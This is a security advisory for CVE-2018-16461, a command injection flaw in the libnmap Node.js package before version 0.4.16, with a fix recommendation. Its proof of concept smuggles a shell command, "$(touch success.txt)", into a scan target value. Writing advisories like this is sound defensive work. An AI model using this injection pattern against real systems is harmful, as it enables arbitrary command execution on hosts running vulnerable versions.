All reports
Medium

Command Injection in libnmap

Affected versions

Affected versions
< 0.4.16
Fixed version
0.4.16

Exploitation

CVE-2018-16461

Probability of exploitation in the next 30 days: 3.85%

FIRST EPSS · 2026-11-22

Description

Versions of libnmap before 0.4.16 are vulnerable to command injection.

Proof of concept

const nmap = require('libnmap');
const opts = {
    range: [
        'scanme.nmap.org',
        "x.x.$(touch success.txt)"
    ]
};
nmap.scan(opts, function(err, report) {
    if (err) throw new Error(err);

    for (let item in report) {
        console.log(JSON.stringify(report[item]));
    }
});

Recommendation

Update to version 0.4.16 or later

Links